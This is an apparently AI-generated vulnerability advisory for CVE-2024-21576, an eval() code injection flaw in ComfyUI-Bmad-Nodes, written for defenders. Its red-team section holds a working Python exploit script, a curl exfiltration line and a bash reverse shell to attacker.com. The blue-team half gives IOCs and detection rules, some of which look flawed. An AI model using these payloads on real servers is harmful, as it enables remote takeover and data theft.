CVE-2024-21576

Executive Summary

CVE-2024-21576 is a critical code injection vulnerability in the ComfyUI-Bmad-Nodes extension for ComfyUI, a popular node-based interface for generative AI workflows. The flaw resides in three custom nodes: BuildColorRangeHSVAdvanced, FilterContour, and FindContour. These nodes improperly validate user-supplied input, allowing an attacker to inject arbitrary Python code via a crafted workflow. The injected code is executed via the eval() function on the server, leading to full remote code execution (RCE) with the privileges of the ComfyUI process. With a CVSS score of 10.0, this vulnerability is trivially exploitable without authentication, posing a severe risk to any exposed ComfyUI instance.

Supply Chain & Package Security

This vulnerability affects the ComfyUI-Bmad-Nodes package, which is typically installed via Git or direct download from GitHub. The package is not distributed through PyPI or npm, but its installation as a custom node in ComfyUI introduces a supply chain risk. Users who install this package from untrusted sources or fail to update may be exposed to RCE. The lack of an official patch or version update increases the urgency for manual mitigation.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary code on the server, leading to full system compromise, data exfiltration, and potential lateral movement within the network.

Deep Dive & Mechanics

The vulnerability exists in the ComfyUI-Bmad-Nodes custom node pack for ComfyUI. The three affected nodes (BuildColorRangeHSVAdvanced, FilterContour, FindContour) accept user-supplied strings as input parameters. In their entrypoint functions, the code directly passes these strings to Python's eval() function without proper sanitization or validation.

Root Cause: The eval() function is used to evaluate mathematical expressions or process dynamic input. However, the input is not restricted to safe expressions, allowing an attacker to inject arbitrary Python code. For example, a string like __import__('os').system('id') will be executed by eval().

Attack Flow:

1. An attacker crafts a malicious ComfyUI workflow JSON that includes a node of one of the vulnerable types.
2. The workflow contains a string input that includes Python code, e.g., __import__('os').system('curl http://attacker.com/$(whoami)').
3. When the workflow is loaded and executed, the vulnerable node's entrypoint function calls eval() on the attacker-supplied string.
4. The injected code runs on the server, allowing the attacker to execute arbitrary commands.

Impact: Full remote code execution, data theft, installation of backdoors, and potential compromise of the entire host.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def BuildColorRangeHSVAdvanced(input_string):
    # No validation
    result = eval(input_string)  # Vulnerable
    return result

Patched Code (Conceptual):

import ast

def safe_eval(expr):
    # Only allow safe literals and math operations
    allowed_nodes = ast.Expression, ast.Constant, ast.Name, ast.BinOp, ast.UnaryOp, ast.Add, ast.Sub, ast.Mult, ast.Div
    tree = ast.parse(expr, mode='eval')
    for node in ast.walk(tree):
        if not isinstance(node, allowed_nodes):
            raise ValueError("Unsafe expression")
    return eval(compile(tree, '<string>', 'eval'), {"__builtins__": {}}, {})

def BuildColorRangeHSVAdvanced(input_string):
    result = safe_eval(input_string)  # Patched
    return result

Note: The official patch status is UNKNOWN. The above patched code is a recommended mitigation approach.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A ComfyUI instance with ComfyUI-Bmad-Nodes installed and exposed on the network (default port 8188).
• Ability to send HTTP requests to the ComfyUI API.

Exploit Steps:

1. Craft a malicious workflow JSON that includes a vulnerable node with an injected payload.
2. Send the workflow to the ComfyUI API endpoint (e.g., /prompt).
3. The injected code executes on the server.

Example Payload (Python):

import requests
import json

target = "http://target.com:8188"
payload = "__import__('os').system('id')"

malicious_workflow = {
    "3": {
        "class_type": "BuildColorRangeHSVAdvanced",
        "inputs": {
            "input_string": payload
        }
    }
}

response = requests.post(f"{target}/prompt", json={"prompt": malicious_workflow})
print(response.text)

Alternative Payload (Reverse Shell):

payload = "__import__('os').system('bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\"')"

Blue Team (Detection & Response)

Detection:

• Monitor for unusual API requests to /prompt containing eval, __import__, os.system, or subprocess in the JSON body.
• Look for outbound connections from the ComfyUI server to unknown IPs on unusual ports.
• Check for unexpected processes spawned by the ComfyUI process (e.g., bash, curl, wget).

Response:

• Immediately isolate the affected server from the network.
• Review ComfyUI logs for suspicious workflow submissions.
• Remove or disable the ComfyUI-Bmad-Nodes package.
• Apply input validation as described in the patched code section.

Indicators of Compromise (IOCs)

Network IOCs:

• Outbound connections to attacker-controlled IPs on ports 80, 443, 4444, or other unusual ports.
• HTTP requests to /prompt with JSON containing eval, __import__, os.system, or subprocess.

File IOCs:

• Unexpected files in the ComfyUI installation directory (e.g., /tmp/, /var/tmp/).
• Modified or new Python scripts in the custom_nodes folder.

Process IOCs:

• Child processes of ComfyUI such as bash, sh, curl, wget, nc, python with unusual arguments.

Log IOCs:

• ComfyUI logs showing errors or warnings related to eval or exec.
• System logs showing command execution from the ComfyUI user.

Detection Engineering

YARA Rule

rule CVE_2024_21576_ComfyUI_Code_Injection {
    meta:
        description = "Detects malicious workflow JSON containing eval-based code injection targeting ComfyUI-Bmad-Nodes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-21576"
    strings:
        $eval = /"input_string"\s*:\s*"[^"]*eval[^"]*"/ nocase
        $import = /"input_string"\s*:\s*"[^"]*__import__[^"]*"/ nocase
        $os_system = /"input_string"\s*:\s*"[^"]*os\.system[^"]*"/ nocase
        $subprocess = /"input_string"\s*:\s*"[^"]*subprocess[^"]*"/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-21576 ComfyUI-Bmad-Nodes Code Injection
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3d1e4f5a6c
status: experimental
description: Detects HTTP requests to ComfyUI API containing code injection payloads targeting vulnerable nodes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/prompt'
        cs-uri-query|contains: 
            - 'eval'
            - '__import__'
            - 'os.system'
            - 'subprocess'
    condition: selection
falsepositives:
    - Legitimate use of eval in workflows (unlikely)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21576 ComfyUI-Bmad-Nodes Code Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/prompt"; http_uri; content:"eval"; http_client_body; nocase; content:"__import__"; http_client_body; nocase; content:"os.system"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or Remove the Vulnerable Package: Remove the ComfyUI-Bmad-Nodes folder from the custom_nodes directory and restart ComfyUI.
2. Apply Input Validation: If the package is essential, modify the source code to use ast.literal_eval() or a custom safe evaluator as shown in the patched code section.
3. Network Segmentation: Ensure ComfyUI is not exposed to the internet. Use a reverse proxy with authentication and restrict access to trusted IPs.
4. Monitor for Exploitation: Deploy the YARA, Sigma, and Suricata rules above to detect exploitation attempts.

Long-Term Fixes:

• Wait for an official patch from the vendor. Monitor the ComfyUI-Bmad-Nodes GitHub repository for updates.
• Implement a Web Application Firewall (WAF) rule to block requests containing eval, __import__, or os.system in the request body.
• Regularly audit custom nodes for insecure functions like eval(), exec(), and os.system().

Valters IT Signature:
This report was generated by Valters IT DevSecOps AI. All information is provided for authorized security testing and defense purposes only.